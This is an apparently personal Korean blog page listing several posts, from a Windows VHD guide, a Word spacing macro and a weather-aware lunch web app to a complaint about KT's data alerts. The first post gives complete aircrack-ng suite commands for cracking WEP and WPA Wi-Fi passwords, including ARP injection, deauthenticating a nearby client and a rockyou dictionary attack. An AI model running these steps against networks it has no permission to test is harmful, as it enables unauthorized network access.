"Blog"에 해당하는 글들
페이지:1234567...43»

무선 공유기 패스워드 …

11월 13, 2018   //   alexken작성   //   기술  //  No Comments

무슨 내용인지 하나로 모르지만 일단 정리…(타이핑은 시골집 고양이가 수행함)

Kali Linux에서 진행

AP MAC 90:9F:33:XX:XX:XX
Client MAC 64:6E:69:XX:XX:XX

기본 도구들

  • iwconfig
  • iw phy0 info
  • iwlist channel

WEP의 경우

1. 모니터 모드 시작 & AP 덤프

  airmon-ng start wlan0
  airodump-ng --channel 8 --bssid 90:9F:33:XX:XX:XX --write wepcrack wlan0mon

2. 데이터를 생성 하기 위해 인증 시도

  aireplay-ng -1 5000 -e SSID -a 90:9F:33:XX:XX:XX -h 64:6E:69:XX:XX:XX wlan0mon

3. ARP Injection으로 Data 강제 유발

  aireplay-ng -3 -b 90:9F:33:XX:XX:XX -h 64:6E:69:XX:XX:XX wlan0mon

4. IVS 값을 어느정도 수집하게 되면 크*

  aircrack-ng wepcrack.cap

WPA의 경우

1. 모니터 모드 시작 & AP 덤프

  airmon-ng start wlan0
  airodump-ng --channel 8 --bssid 90:9F:33:XX:XX:XX --write wepcrack wlan0mon

2. 옆에 놈 연결을 끊어서 EAPOL 노출

  aireplay-ng -0 10 -a 90:9F:33:XX:XX:XX -c 64:6E:69:XX:XX:XX wlan0mon

3. CAP 파일에서 사전공격으로 패스워드 추출

  aircrack-ng -b 90:9F:33:XX:XX:XX -w /usr/share/wordlists/rockyou.txt wifi-01.cap

상암 MBC 주변 면 요리 일람

6월 26, 2018   //   alexken작성   //   인생  //  No Comments

내가 좋아하는 회사 주면 면요리 정리(기준은 순전히 내 입맛)

1. 우육탕: 완차이면가
2. 잠봉: 아리산채, 낭만짬뽕
3. 쌀국수: 하노이의 아침, 분짜라임
4. 라멘: 유타로
5. 우동: 마루카메세이멘
6. 랭면: 배꼽집

블로그 업데이트

6월 25, 2018   //   alexken작성   //   기술  //  No Comments

1년에 글하나 쓸까 말까 한 블로그이지만,
오늘 대대적으로 업데이트를 단행하였음.

시작은 CodeColorer란 플러그인이 업데이트 되면서 PHP 5.6이상을 요구해서 이를 수정하기 위함이였다.

결국 Cafe24에서 DB 백업 받고, File 백업 받고, PHP 7.0을 지원하는 서버로 이전후, 새로 다 복원하였다.
겉보기엔 변화 하나 없지만, 실은 새로 다 설치한것임.

뭐 그냥 그랬다고..

PS. 깨작거리다 만거, 과거 글의 링크 깨진거 이제 부터 천천히 손봐야 겠다.

Windows VHD 관련 정리

12월 28, 2016   //   alexken작성   //   기술  //  No Comments

역시나 나를 위해서 정리

1. VHD 파일 생성
  1.1. 관리-디스크관리자 (Windows 7, 10)
  1.2. cmd에서 vhd 파일 만들기
    깡통일 경우(파티션 -> 포맷)
    diskpart
    create vdisk file="c:\win7.vhd" maximum=100000 type=expandable

2. VHD 파일 마운트
  2.1. vhd 파일 더블클릭 (Windows 10)
  2.2. cmd에서 vhd 파일 마운트 (Windows 7, 10)
    diskpart
    select vdisk file="c:\win7.vhd"
    attach vdisk
 
3. VHD에 운영체제 설치
  3.1. cmd 실행 ( shift + F10 )
  3.2. VHD 파일 생성
  3.3. VHD 파일 마운트

4. VHD에 설치된 운영체제로 부팅
  4.1. VHD 파일 마운트 (마운트된 Driver Lettter가 X인 경우)
  4.2. bcdboot로 부트로더에 등록
    c:\windows\system32\bcdboot.exe X:\windows

5. VHD 부팅 화면 편집
  5.1 부트 로더 등록 상황 확인
    bcdedit /enum
  5.2 부팅 파티션 설명 수정
    bcdedit /set {GUID} description "My Windows 7"

* 관리자 권한 cmd에서 작업할 것.

macOS 용 텍스트 편집기 – Microsoft Visual Studio Code로 정착

11월 16, 2016   //   alexken작성   //   기술  //  No Comments

나의 첫 매킨토시 노트북은 2004년 8월 20일 구입한 OSX 10.3 Panther가 설치된 PowerBook G4 12인치 였다.

그간 함께했던 텍스트 에디터만 생각해보면

Regula Expression을 검색에 사용할 수 있다는 막강한 점에 이끌려, 초창기엔 TextForge에 정착해서 한동안 사용하였다.

이때부터 Regular Expression 검색은 반드시 필요한 기능이었다.
심지어 Microsoft Windows에서도 Notepad++을 쓰는 이유이기도 하다.

이후 TextForge 업데이트가 끊기고, Smultron을 꽤나 오랬동안 사용했다.
유료화 및 버전업되고나서 이상하게 변해버려 Fraise로 갔다가 Smultron을 구입하고도 결국 사용하지 않게 되었다.

이때부터 macOS용 손에 맞는 텍스트 에디터를 찾기 시작했는데,
한동안, Atom, TextWrangler를 기웃거리다,
최근 Microsoft의 Visual Studio Code를 알게 되었고, 내 요구사항을 거의 만족해서 앞으로 정착하려고 한다.

내가 텍스트 에디터에 원하는 요구사항은

  1. 가벼울것
  2. Emacs 단축키 사용에 문제 없을 것(Ctrl + [A|E|B|F|N|P|K])
  3. Syntax Highlight 지원 할 것
  4. Regular Expression 검색 지원 할 것
  5. 한글 사용에 문제가 없을 것
  6. 문자 인코등을 표시하고 설정 가능할 것
  7. 줄 끝 문자를 표시하고 설정 가능할 것

정도이다.

[VBA] MS Word에서 글자 간격 조절 매크로

9월 5, 2016   //   alexken작성   //   기술  //  No Comments

문서 작성시 한국어 띄어쓰기 단위인 어절이 2줄에 걸친 경우, 이를 대소롭지 않게 보는 조직이 있는 반면, 우리 회사에서는 아주 큰 일난다.
회사에서 가장 많이 하는 일이 Word로 보고서 작성하는 일이다 보니 자주 접하게 되어 이참에 블로그에 정리해 두려고 함

spacing

아래한글의 경우 Alt+Shift+N/W으로 글간격을 좁게/넓게 해줄 수가 있지만, MS Word에서는 Ctrl+D로 [글꼴] 대화창을 띄우고 [고급]의 [간격]에 해당하지만 한번에 못하고 창을 여러번 띄워서 시행착오를 격게되어 아래한글처럼 단축키로 할 수 있게 하여 나만 쓰려한다.

Sub Narrow1Step()
'
' Narrow1Step Macro
' Alt+Shift+N
'
    With Selection.Font
        .Spacing = .Spacing - 0.1
    End With
End Sub

Sub Wider1Step()
'
' Wider1Step Macro
' Alt+Shift+W
'
    With Selection.Font
        .Spacing = .Spacing + 0.1
    End With
End Sub

[macOS] 페이지로 분리된 pdf를 png로 변환하기

7월 15, 2016   //   alexken작성   //   기술  //  No Comments

상황 : 60여 페이지로 분리해놓은 pdf 파일 각각을 png로 변환해서 가로/세로 긴 변의 길이가 640 px가 되도록 하기

방법 1 : 이런 걸해야 해서 automator의 폴더 적용 스크립트로 만들었음

방법 2 : 그냥 Terminal에서 끝낼 수 있을 거 같아 bash 스크립트를 작성

#!/bin/bash
for i in `seq 1 60`;
do
  sips -Z 640 -s format png ${i}.pdf —out ${i}.png
done

방법 3 : xargs + sips로 한줄로 끝

$ls *.pdf | xargs -I {} sips -Z 640 -s format png {} —out {}.png

장마대비 코드 수정

7월 5, 2016   //   alexken작성   //   기술  //  No Comments

가장 최근 게시글이 2014년 4월 글이다.
그래 뭐라도 좀 쓰자.

심각한 결정장애자로 구성된 팀원들이 매일 점심마다 엘리베이터타고 지하 1층까지 내려와서는 서로의 눈치만 살필뿐 어디가자 말하는 사람이 없이 한동안 멍하니 서있기만 한 상황이 싫어서 만든 웹앱이 “오늘의 밥집”이다.

상암동 누리꿈스퀘어 근무자만 사용가능한 앱이다.

img_1104

오늘같이 비가 퍼붓는 날은 건물 밖에 나갈 수 없으니 날씨에 따라 추천 밥집을 유동적으로 할 필요가 있겠다 싶어 현재 날씨 관련 OPEN API를 찾아서 적용하였다.

기준은 가장 쉬어 보이는 놈으로 해서 openweathermap.org 꺼로 정했다.

http://api.openweathermap.org/data/2.5/weather?q=Seoul,uk&appid=3427...

HTTP GET 메소드로 요청하면 JSON으로 반환해준다.

{
  "coord": {
    "lon": 127,
    "lat": 37.52
  },
  "weather": [
    {
      "id": 301,
      "main": "Drizzle",
      "description": "drizzle",
      "icon": "09n"
    },

    {
      "id": 701,
      "main": "Mist",
      "description": "mist",
      "icon": "50n"
    }
  ],
  "base": "stations",
  "main": {
    "temp": 292.66,
    "pressure": 1012,
    "humidity": 88,
    "temp_min": 290.15,
    "temp_max": 296.15
  },
  "visibility": 10000,
  "wind": {
    "speed": 1.5,
    "deg": 320
  },
  "clouds": {
    "all": 90
  },
  "dt": 1467724800,
  "sys": {
    "type": 1,
    "id": 8519,
    "message": 0.0104,
    "country": "KR",
    "sunrise": 1467663409,
    "sunset": 1467716182
  },
  "id": 1846735,
  "name": "Chamsil",
  "cod": 200
}

여기서 weather[0] –> main 에 해당하는 문자열만 끄집어 내서 Rain, Storm … 이면 건물 밖 밥집은 제외토록 하였다.

function currWeather(){
  var xhr = new XMLHttpRequest();
  var curr = "Clear";
  xhr.onreadystatechange=function() {
    if(xhr.status == 200 && xhr.readyState==4)
      curr = JSON.parse(xhr.responseText).weather[0].main;
  }

  xhr.open('GET', 'http://api.openweathermap.org/data/2.5/weather?" +
        "q=Seoul&appid=3427...'
,false);
  xhr.send();
  return curr;
}

짜증나는 KT의 실시간 사용량 알림 서비스

4월 7, 2014   //   alexken작성   //   기술  //  No Comments

4월3일 15~16시경 사용했던 원격접속이 Wifi에 붙지않고, 3G 데이터로 연결되었던 모양이다.
Wifi 접속 여부를 제대로 확인하지 않은 나의 불찰도 있지만, 데이터 사용량에 따라 실시간으로 시스템에서 알려주는 사용량 고지 서비스를 너무 믿었나 보다.

처음엔 3G 데이터를 사용했는지 모르고 있었는데, 사용 후 3시간이 훨씬 지난 후에야 짜증나는 문자가 하나 둘씩 도착하기 시작했다. 월초라 잔여 데이터도 넉넉했고, 실시간 사용량 고지 서비스도 있으니 별로 걱정안했는데, 8시 42분에 무료데이터 소진 안내 문자를 받고선 아예 3G Data 자체를 차단하고, 앞으로 한달간 데이터 없이 살아야 할껄 생각하니 짜증이 나기 시작했다.

그러더니 여기서 끝이 아니고 9시12분, 44분에도 계속 1만원 초과, 2만원 초과란 문자가 사용후 6시간이 지난 후에도 계속 날라왔다.

다음날 KT에 전화해서 과다한 데이터 사용을 실시간으로 알려서 사용자가 사용을 멈출수 있게 해야할 사용량 고지 서비스가 6시간이나 지난 시점에 날라오면 어떻하냐고 따지니, 고객님의 불편은 충분히 죄송하게 생각하고 자신들도 이러한 사실을 충분히 인지하고 있지만, 기술적 한계로 다소(??) 지연이 발생할 수 밖에 없는 점을 양해해 달란다.

100ms 이내의 실시간성을 요구한것도 아니고, 문자가 아닌 email로 알려줘도 5분이면 될 것을 최대 6시간이나 뒤에 알려주는 사용량 고지 서비스면 이건 장애 수준이지 KT의 기술적 한계라고?

결론은 KT의 3G 데이터는 차단 서비스도 제공하지 않으니 데이터 무제한 사용자가 아니면 함부로 써서는 안된다는 결론이다. 특히 사용중 알려주는 실시간 고지 서비스 따윈 절대 믿어서는 안된다고…

PM 19:01

[olleh](i-라이트)에서 이월된 기본제공데이터 모두 소진(04/03 15:42기준)당월 기본제공량 적용

PM 20:42

당월 무료데이터 소진 안내
[olleh](i-라이트) 04/03 17:05기준 당월 기본제공데이터 사용500MB/잔여0MB
※기본제공데이터 100% 소진 후 데이터통화 이용시 별도 요금이 추가발생합니다.
※해당 문자는 전기통신사업법 및 방송통신위원회 고시에 의거하여 24시간 발송됩니다.
24시간 수신을 원치않는 고객님은 수신시간을 선택하여 변경할 수 있습니다.

[수신시간 선택 변경하기]
– 스마트폰 : http://olle.in/ogm7
– 스마트폰 이외 : my.olleh.com>사용량조회>총 사용시간조회>사용량알림 문자시간 설정

[나의 실시간 요금 확인하기]
– 언제 어디서나, 실시간 확인이 가능한 “올레 고객센터”
– 실시간 조회 : http://olle.in/y9h2

PM 21:12

[olleh] 04월03일17시 기준 데이터사용료 10000원을 초과 사용하였습니다.

PM 21:44

[olleh] 04월03일17시 기준 데이터사용료 20000원을 초과 사용하였습니다.

페이지:1234567...43»